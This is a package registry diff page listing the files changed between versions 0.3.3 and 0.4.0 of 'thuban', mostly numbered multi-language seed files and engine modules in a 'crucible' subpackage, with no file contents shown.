thuban 0.3.3 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (960) hide show
  1. package/README.md +2 -0
  2. package/dist/LICENSE +21 -0
  3. package/dist/README.md +187 -0
  4. package/dist/cli.js +2 -0
  5. package/dist/packages/crucible/.golden/golden-master.json +414 -0
  6. package/dist/packages/crucible/badge-generator.js +1 -0
  7. package/dist/packages/crucible/banner.js +1 -0
  8. package/dist/packages/crucible/ci-integration.js +1 -0
  9. package/dist/packages/crucible/golden-master.js +1 -0
  10. package/dist/packages/crucible/index.js +1 -0
  11. package/dist/packages/crucible/kenny-mode.js +1 -0
  12. package/dist/packages/crucible/leaderboard.js +1 -0
  13. package/dist/packages/crucible/mutation-engine.js +1 -0
  14. package/dist/packages/crucible/pattern-learner.js +1 -0
  15. package/dist/packages/crucible/report-generator.js +1 -0
  16. package/dist/packages/crucible/rule-loader.js +1 -0
  17. package/dist/packages/crucible/seeding-engine.js +1 -0
  18. package/dist/packages/crucible/seeds/csharp/seed-001.cs +28 -0
  19. package/dist/packages/crucible/seeds/csharp/seed-002.cs +24 -0
  20. package/dist/packages/crucible/seeds/csharp/seed-003.cs +30 -0
  21. package/dist/packages/crucible/seeds/csharp/seed-004.cs +31 -0
  22. package/dist/packages/crucible/seeds/csharp/seed-005.cs +28 -0
  23. package/dist/packages/crucible/seeds/csharp/seed-006.cs +25 -0
  24. package/dist/packages/crucible/seeds/csharp/seed-007.cs +34 -0
  25. package/dist/packages/crucible/seeds/csharp/seed-008.cs +23 -0
  26. package/dist/packages/crucible/seeds/csharp/seed-009.cs +27 -0
  27. package/dist/packages/crucible/seeds/csharp/seed-010.cs +29 -0
  28. package/dist/packages/crucible/seeds/csharp/seed-011.cs +32 -0
  29. package/dist/packages/crucible/seeds/csharp/seed-012.cs +27 -0
  30. package/dist/packages/crucible/seeds/csharp/seed-013.cs +27 -0
  31. package/dist/packages/crucible/seeds/csharp/seed-014.cs +26 -0
  32. package/dist/packages/crucible/seeds/csharp/seed-015.cs +33 -0
  33. package/dist/packages/crucible/seeds/csharp/seed-016.cs +25 -0
  34. package/dist/packages/crucible/seeds/csharp/seed-017.cs +22 -0
  35. package/dist/packages/crucible/seeds/csharp/seed-018.cs +26 -0
  36. package/dist/packages/crucible/seeds/csharp/seed-019.cs +25 -0
  37. package/dist/packages/crucible/seeds/csharp/seed-020.cs +22 -0
  38. package/dist/packages/crucible/seeds/csharp/seed-021.cs +28 -0
  39. package/dist/packages/crucible/seeds/csharp/seed-022.cs +25 -0
  40. package/dist/packages/crucible/seeds/csharp/seed-023.cs +33 -0
  41. package/dist/packages/crucible/seeds/csharp/seed-024.cs +31 -0
  42. package/dist/packages/crucible/seeds/csharp/seed-025.cs +31 -0
  43. package/dist/packages/crucible/seeds/csharp/seed-026.cs +25 -0
  44. package/dist/packages/crucible/seeds/csharp/seed-027.cs +29 -0
  45. package/dist/packages/crucible/seeds/csharp/seed-028.cs +25 -0
  46. package/dist/packages/crucible/seeds/csharp/seed-029.cs +27 -0
  47. package/dist/packages/crucible/seeds/csharp/seed-030.cs +27 -0
  48. package/dist/packages/crucible/seeds/csharp/seed-031.cs +28 -0
  49. package/dist/packages/crucible/seeds/csharp/seed-032.cs +30 -0
  50. package/dist/packages/crucible/seeds/csharp/seed-033.cs +27 -0
  51. package/dist/packages/crucible/seeds/csharp/seed-034.cs +25 -0
  52. package/dist/packages/crucible/seeds/csharp/seed-035.cs +32 -0
  53. package/dist/packages/crucible/seeds/csharp/seed-036.cs +28 -0
  54. package/dist/packages/crucible/seeds/csharp/seed-037.cs +29 -0
  55. package/dist/packages/crucible/seeds/csharp/seed-038.cs +28 -0
  56. package/dist/packages/crucible/seeds/csharp/seed-039.cs +29 -0
  57. package/dist/packages/crucible/seeds/csharp/seed-040.cs +28 -0
  58. package/dist/packages/crucible/seeds/csharp/seed-041.cs +33 -0
  59. package/dist/packages/crucible/seeds/csharp/seed-042.cs +27 -0
  60. package/dist/packages/crucible/seeds/csharp/seed-043.cs +27 -0
  61. package/dist/packages/crucible/seeds/csharp/seed-044.cs +25 -0
  62. package/dist/packages/crucible/seeds/csharp/seed-045.cs +30 -0
  63. package/dist/packages/crucible/seeds/csharp/seed-046.cs +29 -0
  64. package/dist/packages/crucible/seeds/csharp/seed-047.cs +26 -0
  65. package/dist/packages/crucible/seeds/csharp/seed-048.cs +31 -0
  66. package/dist/packages/crucible/seeds/csharp/seed-049.cs +27 -0
  67. package/dist/packages/crucible/seeds/csharp/seed-050.cs +30 -0
  68. package/dist/packages/crucible/seeds/csharp/seed-051.cs +34 -0
  69. package/dist/packages/crucible/seeds/csharp/seed-052.cs +36 -0
  70. package/dist/packages/crucible/seeds/go/seed-001.go +29 -0
  71. package/dist/packages/crucible/seeds/go/seed-002.go +27 -0
  72. package/dist/packages/crucible/seeds/go/seed-003.go +31 -0
  73. package/dist/packages/crucible/seeds/go/seed-004.go +27 -0
  74. package/dist/packages/crucible/seeds/go/seed-005.go +27 -0
  75. package/dist/packages/crucible/seeds/go/seed-006.go +29 -0
  76. package/dist/packages/crucible/seeds/go/seed-007.go +24 -0
  77. package/dist/packages/crucible/seeds/go/seed-008.go +25 -0
  78. package/dist/packages/crucible/seeds/go/seed-009.go +30 -0
  79. package/dist/packages/crucible/seeds/go/seed-010.go +35 -0
  80. package/dist/packages/crucible/seeds/go/seed-011.go +24 -0
  81. package/dist/packages/crucible/seeds/go/seed-012.go +24 -0
  82. package/dist/packages/crucible/seeds/go/seed-013.go +31 -0
  83. package/dist/packages/crucible/seeds/go/seed-014.go +35 -0
  84. package/dist/packages/crucible/seeds/go/seed-015.go +25 -0
  85. package/dist/packages/crucible/seeds/go/seed-016.go +19 -0
  86. package/dist/packages/crucible/seeds/go/seed-017.go +23 -0
  87. package/dist/packages/crucible/seeds/go/seed-018.go +23 -0
  88. package/dist/packages/crucible/seeds/go/seed-019.go +22 -0
  89. package/dist/packages/crucible/seeds/go/seed-020.go +31 -0
  90. package/dist/packages/crucible/seeds/go/seed-021.go +22 -0
  91. package/dist/packages/crucible/seeds/go/seed-022.go +29 -0
  92. package/dist/packages/crucible/seeds/go/seed-023.go +26 -0
  93. package/dist/packages/crucible/seeds/go/seed-024.go +27 -0
  94. package/dist/packages/crucible/seeds/go/seed-025.go +23 -0
  95. package/dist/packages/crucible/seeds/go/seed-026.go +29 -0
  96. package/dist/packages/crucible/seeds/go/seed-027.go +26 -0
  97. package/dist/packages/crucible/seeds/go/seed-028.go +23 -0
  98. package/dist/packages/crucible/seeds/go/seed-029.go +28 -0
  99. package/dist/packages/crucible/seeds/go/seed-030.go +27 -0
  100. package/dist/packages/crucible/seeds/go/seed-031.go +28 -0
  101. package/dist/packages/crucible/seeds/go/seed-032.go +27 -0
  102. package/dist/packages/crucible/seeds/go/seed-033.go +29 -0
  103. package/dist/packages/crucible/seeds/go/seed-034.go +22 -0
  104. package/dist/packages/crucible/seeds/go/seed-035.go +32 -0
  105. package/dist/packages/crucible/seeds/go/seed-036.go +27 -0
  106. package/dist/packages/crucible/seeds/go/seed-037.go +27 -0
  107. package/dist/packages/crucible/seeds/go/seed-038.go +27 -0
  108. package/dist/packages/crucible/seeds/go/seed-039.go +26 -0
  109. package/dist/packages/crucible/seeds/go/seed-040.go +37 -0
  110. package/dist/packages/crucible/seeds/go/seed-041.go +23 -0
  111. package/dist/packages/crucible/seeds/go/seed-042.go +32 -0
  112. package/dist/packages/crucible/seeds/go/seed-043.go +35 -0
  113. package/dist/packages/crucible/seeds/go/seed-044.go +25 -0
  114. package/dist/packages/crucible/seeds/go/seed-045.go +26 -0
  115. package/dist/packages/crucible/seeds/go/seed-046.go +34 -0
  116. package/dist/packages/crucible/seeds/go/seed-047.go +26 -0
  117. package/dist/packages/crucible/seeds/go/seed-048.go +29 -0
  118. package/dist/packages/crucible/seeds/go/seed-049.go +24 -0
  119. package/dist/packages/crucible/seeds/go/seed-050.go +27 -0
  120. package/dist/packages/crucible/seeds/go/seed-051.go +38 -0
  121. package/dist/packages/crucible/seeds/go/seed-052.go +27 -0
  122. package/dist/packages/crucible/seeds/java/seed-001.java +23 -0
  123. package/dist/packages/crucible/seeds/java/seed-002.java +22 -0
  124. package/dist/packages/crucible/seeds/java/seed-003.java +28 -0
  125. package/dist/packages/crucible/seeds/java/seed-004.java +26 -0
  126. package/dist/packages/crucible/seeds/java/seed-005.java +33 -0
  127. package/dist/packages/crucible/seeds/java/seed-006.java +22 -0
  128. package/dist/packages/crucible/seeds/java/seed-007.java +21 -0
  129. package/dist/packages/crucible/seeds/java/seed-008.java +29 -0
  130. package/dist/packages/crucible/seeds/java/seed-009.java +24 -0
  131. package/dist/packages/crucible/seeds/java/seed-010.java +30 -0
  132. package/dist/packages/crucible/seeds/java/seed-011.java +25 -0
  133. package/dist/packages/crucible/seeds/java/seed-012.java +20 -0
  134. package/dist/packages/crucible/seeds/java/seed-013.java +26 -0
  135. package/dist/packages/crucible/seeds/java/seed-014.java +23 -0
  136. package/dist/packages/crucible/seeds/java/seed-015.java +25 -0
  137. package/dist/packages/crucible/seeds/java/seed-016.java +22 -0
  138. package/dist/packages/crucible/seeds/java/seed-017.java +24 -0
  139. package/dist/packages/crucible/seeds/java/seed-018.java +24 -0
  140. package/dist/packages/crucible/seeds/java/seed-019.java +38 -0
  141. package/dist/packages/crucible/seeds/java/seed-020.java +24 -0
  142. package/dist/packages/crucible/seeds/java/seed-021.java +22 -0
  143. package/dist/packages/crucible/seeds/java/seed-022.java +22 -0
  144. package/dist/packages/crucible/seeds/java/seed-023.java +22 -0
  145. package/dist/packages/crucible/seeds/java/seed-024.java +25 -0
  146. package/dist/packages/crucible/seeds/java/seed-025.java +27 -0
  147. package/dist/packages/crucible/seeds/java/seed-026.java +25 -0
  148. package/dist/packages/crucible/seeds/java/seed-027.java +22 -0
  149. package/dist/packages/crucible/seeds/java/seed-028.java +21 -0
  150. package/dist/packages/crucible/seeds/java/seed-029.java +28 -0
  151. package/dist/packages/crucible/seeds/java/seed-030.java +27 -0
  152. package/dist/packages/crucible/seeds/java/seed-031.java +23 -0
  153. package/dist/packages/crucible/seeds/java/seed-032.java +22 -0
  154. package/dist/packages/crucible/seeds/java/seed-033.java +24 -0
  155. package/dist/packages/crucible/seeds/java/seed-034.java +24 -0
  156. package/dist/packages/crucible/seeds/java/seed-035.java +29 -0
  157. package/dist/packages/crucible/seeds/java/seed-036.java +25 -0
  158. package/dist/packages/crucible/seeds/java/seed-037.java +30 -0
  159. package/dist/packages/crucible/seeds/java/seed-038.java +29 -0
  160. package/dist/packages/crucible/seeds/java/seed-039.java +26 -0
  161. package/dist/packages/crucible/seeds/java/seed-040.java +31 -0
  162. package/dist/packages/crucible/seeds/java/seed-041.java +20 -0
  163. package/dist/packages/crucible/seeds/java/seed-042.java +26 -0
  164. package/dist/packages/crucible/seeds/java/seed-043.java +31 -0
  165. package/dist/packages/crucible/seeds/java/seed-044.java +22 -0
  166. package/dist/packages/crucible/seeds/java/seed-045.java +25 -0
  167. package/dist/packages/crucible/seeds/java/seed-046.java +22 -0
  168. package/dist/packages/crucible/seeds/java/seed-047.java +26 -0
  169. package/dist/packages/crucible/seeds/java/seed-048.java +24 -0
  170. package/dist/packages/crucible/seeds/java/seed-049.java +28 -0
  171. package/dist/packages/crucible/seeds/java/seed-050.java +29 -0
  172. package/dist/packages/crucible/seeds/java/seed-051.java +25 -0
  173. package/dist/packages/crucible/seeds/java/seed-052.java +32 -0
  174. package/dist/packages/crucible/seeds/js/seed-001.js +27 -0
  175. package/dist/packages/crucible/seeds/js/seed-002.js +28 -0
  176. package/dist/packages/crucible/seeds/js/seed-003.js +30 -0
  177. package/dist/packages/crucible/seeds/js/seed-004.js +28 -0
  178. package/dist/packages/crucible/seeds/js/seed-005.js +31 -0
  179. package/dist/packages/crucible/seeds/js/seed-006.js +28 -0
  180. package/dist/packages/crucible/seeds/js/seed-007.js +26 -0
  181. package/dist/packages/crucible/seeds/js/seed-008.js +30 -0
  182. package/dist/packages/crucible/seeds/js/seed-009.js +30 -0
  183. package/dist/packages/crucible/seeds/js/seed-010.js +29 -0
  184. package/dist/packages/crucible/seeds/js/seed-011.js +34 -0
  185. package/dist/packages/crucible/seeds/js/seed-012.js +32 -0
  186. package/dist/packages/crucible/seeds/js/seed-013.js +29 -0
  187. package/dist/packages/crucible/seeds/js/seed-014.js +29 -0
  188. package/dist/packages/crucible/seeds/js/seed-015.js +31 -0
  189. package/dist/packages/crucible/seeds/js/seed-016.js +31 -0
  190. package/dist/packages/crucible/seeds/js/seed-017.js +30 -0
  191. package/dist/packages/crucible/seeds/js/seed-018.js +29 -0
  192. package/dist/packages/crucible/seeds/js/seed-019.js +32 -0
  193. package/dist/packages/crucible/seeds/js/seed-020.js +29 -0
  194. package/dist/packages/crucible/seeds/js/seed-021.js +31 -0
  195. package/dist/packages/crucible/seeds/js/seed-022.js +31 -0
  196. package/dist/packages/crucible/seeds/js/seed-023.js +29 -0
  197. package/dist/packages/crucible/seeds/js/seed-024.js +29 -0
  198. package/dist/packages/crucible/seeds/js/seed-025.js +34 -0
  199. package/dist/packages/crucible/seeds/js/seed-026.js +31 -0
  200. package/dist/packages/crucible/seeds/js/seed-027.js +31 -0
  201. package/dist/packages/crucible/seeds/js/seed-028.js +33 -0
  202. package/dist/packages/crucible/seeds/js/seed-029.js +33 -0
  203. package/dist/packages/crucible/seeds/js/seed-030.js +30 -0
  204. package/dist/packages/crucible/seeds/js/seed-031.js +31 -0
  205. package/dist/packages/crucible/seeds/js/seed-032.js +34 -0
  206. package/dist/packages/crucible/seeds/js/seed-033.js +33 -0
  207. package/dist/packages/crucible/seeds/js/seed-034.js +33 -0
  208. package/dist/packages/crucible/seeds/js/seed-035.js +30 -0
  209. package/dist/packages/crucible/seeds/js/seed-036.js +30 -0
  210. package/dist/packages/crucible/seeds/js/seed-037.js +29 -0
  211. package/dist/packages/crucible/seeds/js/seed-038.js +31 -0
  212. package/dist/packages/crucible/seeds/js/seed-039.js +34 -0
  213. package/dist/packages/crucible/seeds/js/seed-040.js +35 -0
  214. package/dist/packages/crucible/seeds/js/seed-041.js +32 -0
  215. package/dist/packages/crucible/seeds/js/seed-042.js +32 -0
  216. package/dist/packages/crucible/seeds/js/seed-043.js +27 -0
  217. package/dist/packages/crucible/seeds/js/seed-044.js +29 -0
  218. package/dist/packages/crucible/seeds/js/seed-045.js +33 -0
  219. package/dist/packages/crucible/seeds/js/seed-046.js +33 -0
  220. package/dist/packages/crucible/seeds/js/seed-047.js +29 -0
  221. package/dist/packages/crucible/seeds/js/seed-048.js +29 -0
  222. package/dist/packages/crucible/seeds/js/seed-049.js +34 -0
  223. package/dist/packages/crucible/seeds/js/seed-050.js +34 -0
  224. package/dist/packages/crucible/seeds/js/seed-051.js +30 -0
  225. package/dist/packages/crucible/seeds/js/seed-052.js +30 -0
  226. package/dist/packages/crucible/seeds/js/seed-053.js +26 -0
  227. package/dist/packages/crucible/seeds/js/seed-054.js +35 -0
  228. package/dist/packages/crucible/seeds/js/seed-055.js +33 -0
  229. package/dist/packages/crucible/seeds/kotlin/seed-001.kt +24 -0
  230. package/dist/packages/crucible/seeds/kotlin/seed-002.kt +27 -0
  231. package/dist/packages/crucible/seeds/kotlin/seed-003.kt +29 -0
  232. package/dist/packages/crucible/seeds/kotlin/seed-004.kt +24 -0
  233. package/dist/packages/crucible/seeds/kotlin/seed-005.kt +29 -0
  234. package/dist/packages/crucible/seeds/kotlin/seed-006.kt +21 -0
  235. package/dist/packages/crucible/seeds/kotlin/seed-007.kt +23 -0
  236. package/dist/packages/crucible/seeds/kotlin/seed-008.kt +25 -0
  237. package/dist/packages/crucible/seeds/kotlin/seed-009.kt +21 -0
  238. package/dist/packages/crucible/seeds/kotlin/seed-010.kt +28 -0
  239. package/dist/packages/crucible/seeds/kotlin/seed-011.kt +22 -0
  240. package/dist/packages/crucible/seeds/kotlin/seed-012.kt +25 -0
  241. package/dist/packages/crucible/seeds/kotlin/seed-013.kt +30 -0
  242. package/dist/packages/crucible/seeds/kotlin/seed-014.kt +27 -0
  243. package/dist/packages/crucible/seeds/kotlin/seed-015.kt +24 -0
  244. package/dist/packages/crucible/seeds/kotlin/seed-016.kt +28 -0
  245. package/dist/packages/crucible/seeds/kotlin/seed-017.kt +33 -0
  246. package/dist/packages/crucible/seeds/kotlin/seed-018.kt +31 -0
  247. package/dist/packages/crucible/seeds/kotlin/seed-019.kt +28 -0
  248. package/dist/packages/crucible/seeds/kotlin/seed-020.kt +31 -0
  249. package/dist/packages/crucible/seeds/kotlin/seed-021.kt +34 -0
  250. package/dist/packages/crucible/seeds/kotlin/seed-022.kt +29 -0
  251. package/dist/packages/crucible/seeds/kotlin/seed-023.kt +20 -0
  252. package/dist/packages/crucible/seeds/kotlin/seed-024.kt +23 -0
  253. package/dist/packages/crucible/seeds/kotlin/seed-025.kt +23 -0
  254. package/dist/packages/crucible/seeds/kotlin/seed-026.kt +26 -0
  255. package/dist/packages/crucible/seeds/kotlin/seed-027.kt +29 -0
  256. package/dist/packages/crucible/seeds/kotlin/seed-028.kt +24 -0
  257. package/dist/packages/crucible/seeds/kotlin/seed-029.kt +27 -0
  258. package/dist/packages/crucible/seeds/kotlin/seed-030.kt +26 -0
  259. package/dist/packages/crucible/seeds/kotlin/seed-031.kt +28 -0
  260. package/dist/packages/crucible/seeds/kotlin/seed-032.kt +29 -0
  261. package/dist/packages/crucible/seeds/kotlin/seed-033.kt +30 -0
  262. package/dist/packages/crucible/seeds/kotlin/seed-034.kt +26 -0
  263. package/dist/packages/crucible/seeds/kotlin/seed-035.kt +33 -0
  264. package/dist/packages/crucible/seeds/kotlin/seed-036.kt +25 -0
  265. package/dist/packages/crucible/seeds/kotlin/seed-037.kt +26 -0
  266. package/dist/packages/crucible/seeds/kotlin/seed-038.kt +25 -0
  267. package/dist/packages/crucible/seeds/kotlin/seed-039.kt +29 -0
  268. package/dist/packages/crucible/seeds/kotlin/seed-040.kt +28 -0
  269. package/dist/packages/crucible/seeds/kotlin/seed-041.kt +31 -0
  270. package/dist/packages/crucible/seeds/kotlin/seed-042.kt +27 -0
  271. package/dist/packages/crucible/seeds/kotlin/seed-043.kt +26 -0
  272. package/dist/packages/crucible/seeds/kotlin/seed-044.kt +27 -0
  273. package/dist/packages/crucible/seeds/kotlin/seed-045.kt +27 -0
  274. package/dist/packages/crucible/seeds/kotlin/seed-046.kt +33 -0
  275. package/dist/packages/crucible/seeds/kotlin/seed-047.kt +32 -0
  276. package/dist/packages/crucible/seeds/kotlin/seed-048.kt +20 -0
  277. package/dist/packages/crucible/seeds/kotlin/seed-049.kt +23 -0
  278. package/dist/packages/crucible/seeds/kotlin/seed-050.kt +19 -0
  279. package/dist/packages/crucible/seeds/php/seed-001.php +23 -0
  280. package/dist/packages/crucible/seeds/php/seed-002.php +18 -0
  281. package/dist/packages/crucible/seeds/php/seed-003.php +25 -0
  282. package/dist/packages/crucible/seeds/php/seed-004.php +21 -0
  283. package/dist/packages/crucible/seeds/php/seed-005.php +21 -0
  284. package/dist/packages/crucible/seeds/php/seed-006.php +21 -0
  285. package/dist/packages/crucible/seeds/php/seed-007.php +18 -0
  286. package/dist/packages/crucible/seeds/php/seed-008.php +19 -0
  287. package/dist/packages/crucible/seeds/php/seed-009.php +24 -0
  288. package/dist/packages/crucible/seeds/php/seed-010.php +24 -0
  289. package/dist/packages/crucible/seeds/php/seed-011.php +18 -0
  290. package/dist/packages/crucible/seeds/php/seed-012.php +24 -0
  291. package/dist/packages/crucible/seeds/php/seed-013.php +23 -0
  292. package/dist/packages/crucible/seeds/php/seed-014.php +20 -0
  293. package/dist/packages/crucible/seeds/php/seed-015.php +18 -0
  294. package/dist/packages/crucible/seeds/php/seed-016.php +18 -0
  295. package/dist/packages/crucible/seeds/php/seed-017.php +18 -0
  296. package/dist/packages/crucible/seeds/php/seed-018.php +17 -0
  297. package/dist/packages/crucible/seeds/php/seed-019.php +24 -0
  298. package/dist/packages/crucible/seeds/php/seed-020.php +19 -0
  299. package/dist/packages/crucible/seeds/php/seed-021.php +22 -0
  300. package/dist/packages/crucible/seeds/php/seed-022.php +15 -0
  301. package/dist/packages/crucible/seeds/php/seed-023.php +24 -0
  302. package/dist/packages/crucible/seeds/php/seed-024.php +22 -0
  303. package/dist/packages/crucible/seeds/php/seed-025.php +20 -0
  304. package/dist/packages/crucible/seeds/php/seed-026.php +22 -0
  305. package/dist/packages/crucible/seeds/php/seed-027.php +15 -0
  306. package/dist/packages/crucible/seeds/php/seed-028.php +15 -0
  307. package/dist/packages/crucible/seeds/php/seed-029.php +21 -0
  308. package/dist/packages/crucible/seeds/php/seed-030.php +21 -0
  309. package/dist/packages/crucible/seeds/php/seed-031.php +23 -0
  310. package/dist/packages/crucible/seeds/php/seed-032.php +18 -0
  311. package/dist/packages/crucible/seeds/php/seed-033.php +18 -0
  312. package/dist/packages/crucible/seeds/php/seed-034.php +24 -0
  313. package/dist/packages/crucible/seeds/php/seed-035.php +22 -0
  314. package/dist/packages/crucible/seeds/php/seed-036.php +17 -0
  315. package/dist/packages/crucible/seeds/php/seed-037.php +19 -0
  316. package/dist/packages/crucible/seeds/php/seed-038.php +20 -0
  317. package/dist/packages/crucible/seeds/php/seed-039.php +15 -0
  318. package/dist/packages/crucible/seeds/php/seed-040.php +21 -0
  319. package/dist/packages/crucible/seeds/php/seed-041.php +20 -0
  320. package/dist/packages/crucible/seeds/php/seed-042.php +21 -0
  321. package/dist/packages/crucible/seeds/php/seed-043.php +21 -0
  322. package/dist/packages/crucible/seeds/php/seed-044.php +25 -0
  323. package/dist/packages/crucible/seeds/php/seed-045.php +25 -0
  324. package/dist/packages/crucible/seeds/php/seed-046.php +20 -0
  325. package/dist/packages/crucible/seeds/php/seed-047.php +21 -0
  326. package/dist/packages/crucible/seeds/php/seed-048.php +19 -0
  327. package/dist/packages/crucible/seeds/php/seed-049.php +18 -0
  328. package/dist/packages/crucible/seeds/php/seed-050.php +20 -0
  329. package/dist/packages/crucible/seeds/python/seed-001.py +33 -0
  330. package/dist/packages/crucible/seeds/python/seed-002.py +39 -0
  331. package/dist/packages/crucible/seeds/python/seed-003.py +31 -0
  332. package/dist/packages/crucible/seeds/python/seed-004.py +33 -0
  333. package/dist/packages/crucible/seeds/python/seed-005.py +33 -0
  334. package/dist/packages/crucible/seeds/python/seed-006.py +34 -0
  335. package/dist/packages/crucible/seeds/python/seed-007.py +33 -0
  336. package/dist/packages/crucible/seeds/python/seed-008.py +38 -0
  337. package/dist/packages/crucible/seeds/python/seed-009.py +38 -0
  338. package/dist/packages/crucible/seeds/python/seed-010.py +42 -0
  339. package/dist/packages/crucible/seeds/python/seed-011.py +30 -0
  340. package/dist/packages/crucible/seeds/python/seed-012.py +35 -0
  341. package/dist/packages/crucible/seeds/python/seed-013.py +33 -0
  342. package/dist/packages/crucible/seeds/python/seed-014.py +40 -0
  343. package/dist/packages/crucible/seeds/python/seed-015.py +33 -0
  344. package/dist/packages/crucible/seeds/python/seed-016.py +34 -0
  345. package/dist/packages/crucible/seeds/python/seed-017.py +34 -0
  346. package/dist/packages/crucible/seeds/python/seed-018.py +30 -0
  347. package/dist/packages/crucible/seeds/python/seed-019.py +33 -0
  348. package/dist/packages/crucible/seeds/python/seed-020.py +37 -0
  349. package/dist/packages/crucible/seeds/python/seed-021 2.py +37 -0
  350. package/dist/packages/crucible/seeds/python/seed-021 3.py +37 -0
  351. package/dist/packages/crucible/seeds/python/seed-021.py +37 -0
  352. package/dist/packages/crucible/seeds/python/seed-022 2.py +34 -0
  353. package/dist/packages/crucible/seeds/python/seed-022 3.py +34 -0
  354. package/dist/packages/crucible/seeds/python/seed-022.py +34 -0
  355. package/dist/packages/crucible/seeds/python/seed-023 2.py +37 -0
  356. package/dist/packages/crucible/seeds/python/seed-023 3.py +37 -0
  357. package/dist/packages/crucible/seeds/python/seed-023.py +37 -0
  358. package/dist/packages/crucible/seeds/python/seed-024 2.py +38 -0
  359. package/dist/packages/crucible/seeds/python/seed-024 3.py +38 -0
  360. package/dist/packages/crucible/seeds/python/seed-024.py +38 -0
  361. package/dist/packages/crucible/seeds/python/seed-025 2.py +40 -0
  362. package/dist/packages/crucible/seeds/python/seed-025 3.py +40 -0
  363. package/dist/packages/crucible/seeds/python/seed-025.py +40 -0
  364. package/dist/packages/crucible/seeds/python/seed-026 2.py +35 -0
  365. package/dist/packages/crucible/seeds/python/seed-026 3.py +35 -0
  366. package/dist/packages/crucible/seeds/python/seed-026.py +35 -0
  367. package/dist/packages/crucible/seeds/python/seed-027 2.py +35 -0
  368. package/dist/packages/crucible/seeds/python/seed-027 3.py +35 -0
  369. package/dist/packages/crucible/seeds/python/seed-027.py +35 -0
  370. package/dist/packages/crucible/seeds/python/seed-028 2.py +42 -0
  371. package/dist/packages/crucible/seeds/python/seed-028 3.py +42 -0
  372. package/dist/packages/crucible/seeds/python/seed-028.py +42 -0
  373. package/dist/packages/crucible/seeds/python/seed-029.py +42 -0
  374. package/dist/packages/crucible/seeds/python/seed-030 2.py +37 -0
  375. package/dist/packages/crucible/seeds/python/seed-030 3.py +37 -0
  376. package/dist/packages/crucible/seeds/python/seed-030.py +37 -0
  377. package/dist/packages/crucible/seeds/python/seed-031 2.py +34 -0
  378. package/dist/packages/crucible/seeds/python/seed-031 3.py +34 -0
  379. package/dist/packages/crucible/seeds/python/seed-031.py +34 -0
  380. package/dist/packages/crucible/seeds/python/seed-032.py +33 -0
  381. package/dist/packages/crucible/seeds/python/seed-033.py +32 -0
  382. package/dist/packages/crucible/seeds/python/seed-034.py +38 -0
  383. package/dist/packages/crucible/seeds/python/seed-035.py +35 -0
  384. package/dist/packages/crucible/seeds/python/seed-036 2.py +33 -0
  385. package/dist/packages/crucible/seeds/python/seed-036 3.py +33 -0
  386. package/dist/packages/crucible/seeds/python/seed-036.py +33 -0
  387. package/dist/packages/crucible/seeds/python/seed-037 2.py +41 -0
  388. package/dist/packages/crucible/seeds/python/seed-037 3.py +41 -0
  389. package/dist/packages/crucible/seeds/python/seed-037.py +41 -0
  390. package/dist/packages/crucible/seeds/python/seed-038 2.py +33 -0
  391. package/dist/packages/crucible/seeds/python/seed-038 3.py +33 -0
  392. package/dist/packages/crucible/seeds/python/seed-038.py +33 -0
  393. package/dist/packages/crucible/seeds/python/seed-039 2.py +39 -0
  394. package/dist/packages/crucible/seeds/python/seed-039 3.py +39 -0
  395. package/dist/packages/crucible/seeds/python/seed-039.py +39 -0
  396. package/dist/packages/crucible/seeds/python/seed-040 2.py +39 -0
  397. package/dist/packages/crucible/seeds/python/seed-040 3.py +39 -0
  398. package/dist/packages/crucible/seeds/python/seed-040.py +39 -0
  399. package/dist/packages/crucible/seeds/python/seed-041 2.py +37 -0
  400. package/dist/packages/crucible/seeds/python/seed-041 3.py +37 -0
  401. package/dist/packages/crucible/seeds/python/seed-041.py +37 -0
  402. package/dist/packages/crucible/seeds/python/seed-042 2.py +38 -0
  403. package/dist/packages/crucible/seeds/python/seed-042 3.py +38 -0
  404. package/dist/packages/crucible/seeds/python/seed-042.py +38 -0
  405. package/dist/packages/crucible/seeds/python/seed-043 2.py +32 -0
  406. package/dist/packages/crucible/seeds/python/seed-043 3.py +32 -0
  407. package/dist/packages/crucible/seeds/python/seed-043.py +32 -0
  408. package/dist/packages/crucible/seeds/python/seed-044 2.py +38 -0
  409. package/dist/packages/crucible/seeds/python/seed-044 3.py +38 -0
  410. package/dist/packages/crucible/seeds/python/seed-044.py +38 -0
  411. package/dist/packages/crucible/seeds/python/seed-045 2.py +36 -0
  412. package/dist/packages/crucible/seeds/python/seed-045 3.py +36 -0
  413. package/dist/packages/crucible/seeds/python/seed-045.py +36 -0
  414. package/dist/packages/crucible/seeds/python/seed-046 2.py +33 -0
  415. package/dist/packages/crucible/seeds/python/seed-046 3.py +33 -0
  416. package/dist/packages/crucible/seeds/python/seed-046.py +33 -0
  417. package/dist/packages/crucible/seeds/python/seed-047 2.py +44 -0
  418. package/dist/packages/crucible/seeds/python/seed-047 3.py +44 -0
  419. package/dist/packages/crucible/seeds/python/seed-047.py +44 -0
  420. package/dist/packages/crucible/seeds/python/seed-048 2.py +35 -0
  421. package/dist/packages/crucible/seeds/python/seed-048 3.py +35 -0
  422. package/dist/packages/crucible/seeds/python/seed-048.py +35 -0
  423. package/dist/packages/crucible/seeds/python/seed-049 2.py +39 -0
  424. package/dist/packages/crucible/seeds/python/seed-049 3.py +39 -0
  425. package/dist/packages/crucible/seeds/python/seed-049.py +39 -0
  426. package/dist/packages/crucible/seeds/python/seed-050 2.py +39 -0
  427. package/dist/packages/crucible/seeds/python/seed-050 3.py +39 -0
  428. package/dist/packages/crucible/seeds/python/seed-050.py +39 -0
  429. package/dist/packages/crucible/seeds/python/seed-051 2.py +38 -0
  430. package/dist/packages/crucible/seeds/python/seed-051 3.py +38 -0
  431. package/dist/packages/crucible/seeds/python/seed-051.py +38 -0
  432. package/dist/packages/crucible/seeds/python/seed-052 2.py +41 -0
  433. package/dist/packages/crucible/seeds/python/seed-052 3.py +41 -0
  434. package/dist/packages/crucible/seeds/python/seed-052.py +41 -0
  435. package/dist/packages/crucible/seeds/ruby/seed-001 2.rb +15 -0
  436. package/dist/packages/crucible/seeds/ruby/seed-001 3.rb +15 -0
  437. package/dist/packages/crucible/seeds/ruby/seed-001.rb +15 -0
  438. package/dist/packages/crucible/seeds/ruby/seed-002 2.rb +22 -0
  439. package/dist/packages/crucible/seeds/ruby/seed-002 3.rb +22 -0
  440. package/dist/packages/crucible/seeds/ruby/seed-002.rb +22 -0
